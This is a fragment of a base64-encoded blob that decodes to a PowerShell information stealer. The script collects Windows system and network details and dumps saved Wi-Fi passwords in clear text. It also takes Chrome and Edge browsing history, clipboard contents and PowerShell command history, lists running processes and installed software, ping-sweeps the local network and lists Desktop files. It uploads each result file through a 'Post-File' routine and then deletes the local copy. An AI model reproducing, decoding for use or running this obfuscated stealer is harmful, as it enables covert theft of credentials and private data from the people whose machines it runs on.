1XbWlPYmplY3QgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9ufFdoZXJlIHskXy5EZWZhdWx0SVBHYXRld2F5Lmxlbmd0aCAtZ3QgMX0NCiROZWFyYnlXaWZpID0gKG5ldHNoIHdsYW4gc2hvdyBuZXR3b3JrcyBtb2RlPUJzc2lkIHwgP3skXyAtbGlrZSAiU1NJRCoiIC1vciAkXyAtbGlrZSAiKkF1dGhlbnRpY2F0aW9uKiIgLW9yICRfIC1saWtlICIqRW5jcnlwdGlvbioifSkudHJpbSgpDQokTmV0d29yayA9IEdldC1XbWlPYmplY3QgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIHwgd2hlcmUgeyAkXy5NQUNBZGRyZXNzIC1ub3RsaWtlICRudWxsIH0gIHwgc2VsZWN0IEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIHwgRm9ybWF0LVRhYmxlIEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIA0KJGNvbXB1dGVyU3lzdGVtID0gR2V0LUNpbUluc3RhbmNlIENJTV9Db21wdXRlclN5c3RlbQ0KJGNvbXB1dGVyQklPUyA9IEdldC1DaW1JbnN0YW5jZSBDSU1fQklPU0VsZW1lbnQNCiRjb21wdXRlck9zPUdldC1XbWlPYmplY3Qgd2luMzJfb3BlcmF0aW5nc3lzdGVtIHwgc2VsZWN0IENhcHRpb24sIENTTmFtZSwgVmVyc2lvbiwgQHtOYW1lPSJJbnN0YWxsRGF0ZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkluc3RhbGxEYXRlKX19ICwgQHtOYW1lPSJMYXN0Qm9vdFVwVGltZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkxhc3RCb290VXBUaW1lKX19LCBAe05hbWU9IkxvY2FsRGF0ZVRpbWUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5Mb2NhbERhdGVUaW1lKX19LCBDdXJyZW50VGltZVpvbmUsIENvdW50cnlDb2RlLCBPU0xhbmd1YWdlLCBTZXJpYWxOdW1iZXIsIFdpbmRvd3NEaXJlY3RvcnkgIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlckNwdT1HZXQtV21pT2JqZWN0IFdpbjMyX1Byb2Nlc3NvciB8IHNlbGVjdCBEZXZpY2VJRCwgTmFtZSwgQ2FwdGlvbiwgTWFudWZhY3R1cmVyLCBNYXhDbG9ja1NwZWVkLCBMMkNhY2hlU2l6ZSwgTDJDYWNoZVNwZWVkLCBMM0NhY2hlU2l6ZSwgTDNDYWNoZVNwZWVkIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlck1haW5ib2FyZD1HZXQtV21pT2JqZWN0IFdpbjMyX0Jhc2VCb2FyZCB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJSYW1DYXBhY2l0eT1HZXQtV21pT2JqZWN0IFdpbjMyX1BoeXNpY2FsTWVtb3J5IHwgTWVhc3VyZS1PYmplY3QgLVByb3BlcnR5IGNhcGFjaXR5IC1TdW0gfCAlIHsgInswOk4xfSBHQiIgLWYgKCRfLnN1bSAvIDFHQil9DQokY29tcHV0ZXJSYW09R2V0LVdtaU9iamVjdCBXaW4zMl9QaHlzaWNhbE1lbW9yeSB8IHNlbGVjdCBEZXZpY2VMb2NhdG9yLCBAe05hbWU9IkNhcGFjaXR5IjtFeHByZXNzaW9uPXsgInswOk4xfSBHQiIgLWYgKCRfLkNhcGFjaXR5IC8gMUdCKX19LCBDb25maWd1cmVkQ2xvY2tTcGVlZCwgQ29uZmlndXJlZFZvbHRhZ2UgfCBGb3JtYXQtVGFibGUNCiR2aWRlb2NhcmQ9R2V0LVdtaU9iamVjdCBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgfCBGb3JtYXQtVGFibGUgTmFtZSwgVmlkZW9Qcm9jZXNzb3IsIERyaXZlclZlcnNpb24sIEN1cnJlbnRIb3Jpem9udGFsUmVzb2x1dGlvbiwgQ3VycmVudFZlcnRpY2FsUmVzb2x1dGlvbg0KJEhkZHMgPSBHZXQtV21pT2JqZWN0IFdpbjMyX0xvZ2ljYWxEaXNrIHwgc2VsZWN0IERldmljZUlELCBWb2x1bWVOYW1lLCBGaWxlU3lzdGVtLEB7TmFtZT0iU2l6ZV9HQiI7RXhwcmVzc2lvbj17InswOk4xfSBHQiIgLWYgKCRfLlNpemUgLyAxR2IpfX0sIEB7TmFtZT0iRnJlZVNwYWNlX0dCIjtFeHByZXNzaW9uPXsiezA6TjF9IEdCIiAtZiAoJF8uRnJlZVNwYWNlIC8gMUdiKX19LCBAe05hbWU9IkZyZWVTcGFjZV9wZXJjZW50IjtFeHByZXNzaW9uPXsiezA6TjF9JSIgLWYgKCgxMDAgLyAoJF8uU2l6ZSAvICRfLkZyZWVTcGFjZSkpKX19IHwgRm9ybWF0LVRhYmxlIERldmljZUlELCBWb2x1bWVOYW1lLEZpbGVTeXN0ZW0sQHsgTmFtZT0iU2l6ZSBHQiI7IEV4cHJlc3Npb249eyRfLlNpemVfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgR0IiOyBFeHByZXNzaW9uPXskXy5GcmVlU3BhY2VfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgJSI7IEV4cHJlc3Npb249eyRfLkZyZWVTcGFjZV9wZXJjZW50fTsgYWxpZ249InJpZ2h0IjsgfQ0KJENPTURldmljZXMgPSBHZXQtV21pb2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCBGb3JFYWNoLU9iamVjdHtbV21pXSgkXy5EZXBlbmRlbnQpfSB8IFNlbGVjdC1PYmplY3QgTmFtZSwgRGV2aWNlSUQsIE1hbnVmYWN0dXJlciB8IFNvcnQtT2JqZWN0IC1EZXNjZW5kaW5nIE5hbWUgfCBGb3JtYXQtVGFibGUNCiRzeXN0ZW1Mb2NhbGUgPSBHZXQtV2luU3lzdGVtTG9jYWxlOyRzeXN0ZW1MYW5ndWFnZSA9ICRzeXN0ZW1Mb2NhbGUuTmFtZQ0KJHVzZXJMYW5ndWFnZUxpc3QgPSBHZXQtV2luVXNlckxhbmd1YWdlTGlzdDska2V5Ym9hcmRMYXlvdXRJRCA9ICR1c2VyTGFuZ3VhZ2VMaXN0WzBdLklucHV0TWV0aG9kVGlwc1swXQ0KJG91dHNzaWQ9IiI7JGE9MDskd3M9KG5ldHNoIHdsYW4gc2hvdyBwcm9maWxlcykgLXJlcGxhY2UgIi4qOlxzKyI7Zm9yZWFjaCgkcyBpbiAkd3Mpew0KaWYoJGEgLWd0IDEgLUFuZCAkcyAtTm90TWF0Y2ggIiBwb2xpY3kgIiAtQW5kICRzIC1uZSAiVXNlciBwcm9maWxlcyIgLUFuZCAkcyAtTm90TWF0Y2ggIi0tLS0tIiAtQW5kICRzIC1Ob3RNYXRjaCAiPE5vbmU+IiAtQW5kICRzLmxlbmd0aCAtZ3QgNSl7JHNzaWQ9JHMuVHJpbSgpO2lmKCRzIC1NYXRjaCAiOiIpeyRzc2lkPSRzLlNwbGl0KCI6IilbMV0uVHJpbSgpfQ0KJHB3PShuZXRzaCB3bGFuIHNob3cgcHJvZmlsZXMgbmFtZT0kc3NpZCBrZXk9Y2xlYXIpOyRwYXNzPSJOb25lIjtmb3JlYWNoKCRwIGluICRwdyl7aWYoJHAgLU1hdGNoICJLZXkgQ29udGVudCIpeyRwYXNzPSRwLlNwbGl0KCI6IilbMV0uVHJpbSgpOyRvdXRzc2lkKz0iU1NJRDogJHNzaWQgOiBQYXNzd29yZDogJHBhc3NgbiJ9fX0kYSsrO30NCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcU3lzdGVtSW5mby50eHQiDQoiVVNFUiBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1gbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSQ0KIiRmdWxsTmFtZSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiRW1haWwgQWRkcmVzcyAgICAgIDogJGVtYWlsIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJDb21wdXRlciBOYW1lICAgICAgOiAkZW52OkNPTVBVVEVSTkFNRSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTGFuZ3VhZ2UgICAgICAgICAgIDogJHN5c3RlbUxhbmd1YWdlIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJLZXlib2FyZCBMYXlvdXQgICAgOiAka2V5Ym9hcmRMYXlvdXRJRGBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJPUyBJbmZvICAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlck9zfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJORVRXT1JLIElORk8gYG4gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PWBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQdWJsaWMgSVAgICAgICAgICAgOiAkY29tcHV0ZXJQdWJJUGBuIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJ2dnYgIFNhdmVkIE5ldHdvcmtzICB2dnYgYG4kb3V0c3NpZCIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTG9jYWwgSVAgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJJUHwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQWRhcHRlcnMgICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkbmV0d29ya3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiTmVhcmJ5LVdpRmkgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkTmVhcmJ5V2lmaXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiSEFSRFdBUkUgSU5GTyBgbiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09YG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJJT1MgSW5mbyAgICAgICAgICA6ICRjb21wdXRlckJJT1NgbiIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoidnZ2ICBSQU0gSW5mbyAgdnZ2IGBuVG90YWwgUkFNIDogJGNvbXB1dGVyUmFtQ2FwYWNpdHkiIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRjb21wdXRlclJhbXwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiQ1BVIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkY29tcHV0ZXJDcHV8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkdyYXBoaWNzIEluZm8gICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHZpZGVvY2FyZHwgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiSEREIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkSGRkc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQoiVVNCIEluZm8gICAgICAgICAgIGBuIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkQ09NRGV2aWNlc3wgT3V0LVN0cmluZykgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQpQb3N0LUZpbGUgO3JtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCn0NCg0KRnVuY3Rpb24gU29mdHdhcmUtSW5mb3sNCiRwcm9jZXNzPUdldC1XbWlPYmplY3Qgd2luMzJfcHJvY2VzcyB8IHNlbGVjdCBIYW5kbGUsIFByb2Nlc3NOYW1lLCBFeGVjdXRhYmxlUGF0aCwgQ29tbWFuZExpbmUNCiRzZXJ2aWNlPUdldC1DaW1JbnN0YW5jZSAtQ2xhc3NOYW1lIFdpbjMyX1NlcnZpY2UgfCBzZWxlY3QgU3RhdGUsTmFtZSxTdGFydE5hbWUsUGF0aE5hbWUgfCBXaGVyZS1PYmplY3QgeyRfLlN0YXRlIC1saWtlICdSdW5uaW5nJ30NCiRzb2Z0d2FyZT1HZXQtSXRlbVByb3BlcnR5IEhLTE06XFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFVuaW5zdGFsbFwqIHwgd2hlcmUgeyAkXy5EaXNwbGF5TmFtZSAtbm90bGlrZSAkbnVsbCB9IHwgIFNlbGVjdC1PYmplY3QgRGlzcGxheU5hbWUsIERpc3BsYXlWZXJzaW9uLCBQdWJsaXNoZXIsIEluc3RhbGxEYXRlIHwgU29ydC1PYmplY3QgRGlzcGxheU5hbWUgfCBGb3JtYXQtVGFibGUgLUF1dG9TaXplDQokZHJpdmVycz1HZXQtV21pT2JqZWN0IFdpbjMyX1BuUFNpZ25lZERyaXZlcnwgd2hlcmUgeyAkXy5EZXZpY2VOYW1lIC1ub3RsaWtlICRudWxsIH0gfCBzZWxlY3QgRGV2aWNlTmFtZSwgRnJpZW5kbHlOYW1lLCBEcml2ZXJQcm92aWRlck5hbWUsIERyaXZlclZlcnNpb24NCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcU29mdHdhcmVJbmZvLnR4dCINCiJTT0ZUV0FSRSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkluc3RhbGxlZCBTb2Z0d2FyZSBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJHNvZnR3YXJlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQcm9jZXNzZXMgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRwcm9jZXNzfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJTZXJ2aWNlcyAgICAgICAgICAgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRzZXJ2aWNlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNClBvc3QtRmlsZSA7cm0gLVBhdGggJEZpbGVQYXRoIC1Gb3JjZQ0KfQ0KDQpGdW5jdGlvbiBIaXN0b3J5LUluZm97DQokUmVnZXggPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoID0gIiRFbnY6VVNFUlBST0ZJTEVcQXBwRGF0YVxMb2NhbFxHb29nbGVcQ2hyb21lXFVzZXIgRGF0YVxEZWZhdWx0XEhpc3RvcnkiDQokVmFsdWUgPSBHZXQtQ29udGVudCAtUGF0aCAkUGF0aCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4IHwlIHsoJF8uTWF0Y2hlcykuVmFsdWV9IHxTb3J0IC1VbmlxdWUNCiRWYWx1ZSB8IEZvckVhY2gtT2JqZWN0IHskS2V5ID0gJF87aWYgKCRLZXkgLW1hdGNoICRTZWFyY2gpe05ldy1PYmplY3QgLVR5cGVOYW1lIFBTT2JqZWN0IC1Qcm9wZXJ0eSBAe1VzZXIgPSAkZW52OlVzZXJOYW1lO0Jyb3dzZXIgPSAnY2hyb21lJztEYXRhVHlwZSA9ICdoaXN0b3J5JztEYXRhID0gJF99fX0NCiRSZWdleDIgPSAnKGh0dHB8aHR0cHMpOi8vKFtcdy1dK1wuKStbXHctXSsoL1tcdy0gLi8/JSY9XSopKj8nOyRQYXRoZWQgPSAiJEVudjpVU0VSUFJPRklMRVxBcHBEYXRhXExvY2FsXE1pY3Jvc29mdC9FZGdlL1VzZXIgRGF0YS9EZWZhdWx0L0hpc3RvcnkiDQokVmFsdWUyID0gR2V0LUNvbnRlbnQgLVBhdGggJFBhdGhlZCB8IFNlbGVjdC1TdHJpbmcgLUFsbE1hdGNoZXMgJHJlZ2V4MiB8JSB7KCRfLk1hdGNoZXMpLlZhbHVlfSB8U29ydCAtVW5pcXVlDQokVmFsdWUyIHwgRm9yRWFjaC1PYmplY3QgeyRLZXkgPSAkXztpZiAoJEtleSAtbWF0Y2ggJFNlYXJjaCl7TmV3LU9iamVjdCAtVHlwZU5hbWUgUFNPYmplY3QgLVByb3BlcnR5IEB7VXNlciA9ICRlbnY6VXNlck5hbWU7QnJvd3NlciA9ICdjaHJvbWUnO0RhdGFUeXBlID0gJ2hpc3RvcnknO0RhdGEgPSAkX319fQ0KJHBzaGlzdCA9ICIkZW52OlVTRVJQUk9GSUxFXEFwcERhdGFcUm9hbWluZ1xNaWNyb3NvZnRcV2luZG93c1xQb3dlclNoZWxsXFBTUmVhZExpbmVcQ29uc29sZUhvc3RfaGlzdG9yeS50eHQiOyRwc2hpc3RvcnkgPSBHZXQtQ29udGVudCAkcHNoaXN0IC1yYXcNCiRGaWxlUGF0aCA9ICIkZW52OnRlbXBcSGlzdG9yeS50eHQiDQoiSElTVE9SWSBJTkZPIGBuID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gYG4iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkNsaXBib2FyZCAgICAgICAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooR2V0LUNsaXBib2FyZCB8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KIkJyb3dzZXIgSGlzdG9yeSAgICBgbiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIgfCBPdXQtRmlsZSAtRmlsZVBhdGggJEZpbGVQYXRoIC1FbmNvZGluZyBBU0NJSSAtQXBwZW5kDQooJFZhbHVlfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCigkVmFsdWUyfCBPdXQtU3RyaW5nKSB8IE91dC1GaWxlIC1GaWxlUGF0aCAkRmlsZVBhdGggLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQNCiJQb3dlcnNoZWxsIEhpc3RvcnkgYG4gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KKCRwc2hpc3Rvcnl8IE91dC1TdHJpbmcpIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRGaWxlUGF0aCAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZA0KUG9zdC1GaWxlIDtybSAtUGF0aCAkRmlsZVBhdGggLUZvcmNlDQp9DQoNCkZ1bmN0aW9uIEVudW1lcmF0ZS1MQU57DQpwYXJhbSAoW3N0cmluZ10kUHJlZml4KQ0KaWYgKCRQcmVmaXguTGVuZ3RoIC1lcSAwKXtXcml0ZS1PdXRwdXQgIlVzZSAtcHJlZml4IHRvIGRlZmluZSB0aGUgZmlyc3QgMyBwYXJ0cyBvZiBhbiBJUCBBZGRyZXNzIGVnLiBFbnVtZXJhdGUtTEFOIC1wcmVmaXggMTkyLjE2OC4xIjtzbGVlcCAxIDtyZXR1cm59DQokRmlsZU91dCA9ICIkZW52OnRlbXBcQ29tcHV0ZXJzLmNzdiINCjEuLjI1NSB8IEZvckVhY2gtT2JqZWN0IHsNCiAgICAkaXBBZGRyZXNzID0gIiRQcmVmaXguJF8iDQogICAgU3RhcnQtUHJvY2VzcyAtV2luZG93U3R5bGUgSGlkZGVuIHBpbmcuZXhlIC1Bcmd1bWVudExpc3QgIi1uIDEgLWwgMCAtZiAtaSAyIC13IDEwMCAtNCAkaXBBZGRyZXNzIg0KICAgIH0NCiRDb21wdXRlcnMgPSAoYXJwLmV4ZSAtYSB8IFNlbGVjdC1TdHJpbmcgIiRQcmVmaXguKmR5bmFtIikgLXJlcGxhY2UgJyArJywgJywnIHwNCiAgICAgICAgICAgICBDb252ZXJ0RnJvbS1Dc3YgLUhlYWRlciBDb21wdXRlcm5hbWUsIElQdjQsIE1BQywgeCwgVmVuZG9yIHwNCiAgICAgICAgICAgICBTZWxlY3QtT2JqZWN0IElQdjQsIE1BQw0KJENvbXB1dGVycyB8IEV4cG9ydC1Dc3YgJEZpbGVPdXQgLU5vVHlwZUluZm9ybWF0aW9uDQokZGF0YSA9IEltcG9ydC1Dc3YgJEZpbGVPdXQNCiRkYXRhIHwgRm9yRWFjaC1PYmplY3Qgew0KICAgICRtYWMgPSAkXy4nTUFDJw0KICAgICRhcGlVcmwgPSAiaHR0cHM6Ly9hcGkubWFjdmVuZG9ycy5jb20vJG1hYyINCiAgICAkbWFudWZhY3R1cmVyID0gKEludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCkuVHJpbSgpDQogICAgU3RhcnQtU2xlZXAgLVNlY29uZHMgMQ0KICAgICRfIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgIm1hbnVmYWN0dXJlciIgLVZhbHVlICRtYW51ZmFjdHVyZXIgLUZvcmNlDQogICAgfQ0KJGRhdGEgfCBFeHBvcnQtQ3N2ICRGaWxlT3V0IC1Ob1R5cGVJbmZvcm1hdGlvbg0KJGRhdGEgfCBGb3JFYWNoLU9iamVjdCB7DQogICAgdHJ5IHsNCiAgICAgICAgJGlwID0gJF8uJ0lQdjQnDQogICAgICAgICRob3N0bmFtZSA9IChbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0RW50cnkoJGlwKSkuSG9zdE5hbWUNCiAgICAgICAgJF8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAiSG9zdG5hbWUiIC1WYWx1ZSAkaG9zdG5hbWUgLUZvcmNlDQogICAgfSANCiAgICBjYXRjaCB7DQogICAgICAgICRfIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgIkhvc3RuYW1lIiAtVmFsdWUgIkVycm9yOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIgIA0KICAgIH0NCn0NCiRkYXRhIHwgRXhwb3J0LUNzdiAkRmlsZU91dCAtTm9UeXBlSW5mb3JtYXRpb24NCiRyZXN1bHRzID0gR2V0LUNvbnRlbnQgLVBhdGggJEZpbGVPdXQgLVJhdw0KV3JpdGUtT3V0cHV0ICIkcmVzdWx0cyINCnJtIC1QYXRoICRGaWxlT3V0DQp9DQoNCkZ1bmN0aW9uIEZvbGRlci1UcmVlew0KdHJlZSAkZW52OlVTRVJQUk9GSUxFL0Rlc2t0b3AgL0EgL0YgfCBPdXQtRmlsZSAkZW52OnRlbXAvRGVza3RvcC50eHQNCnRyZWUgJGVudjpVU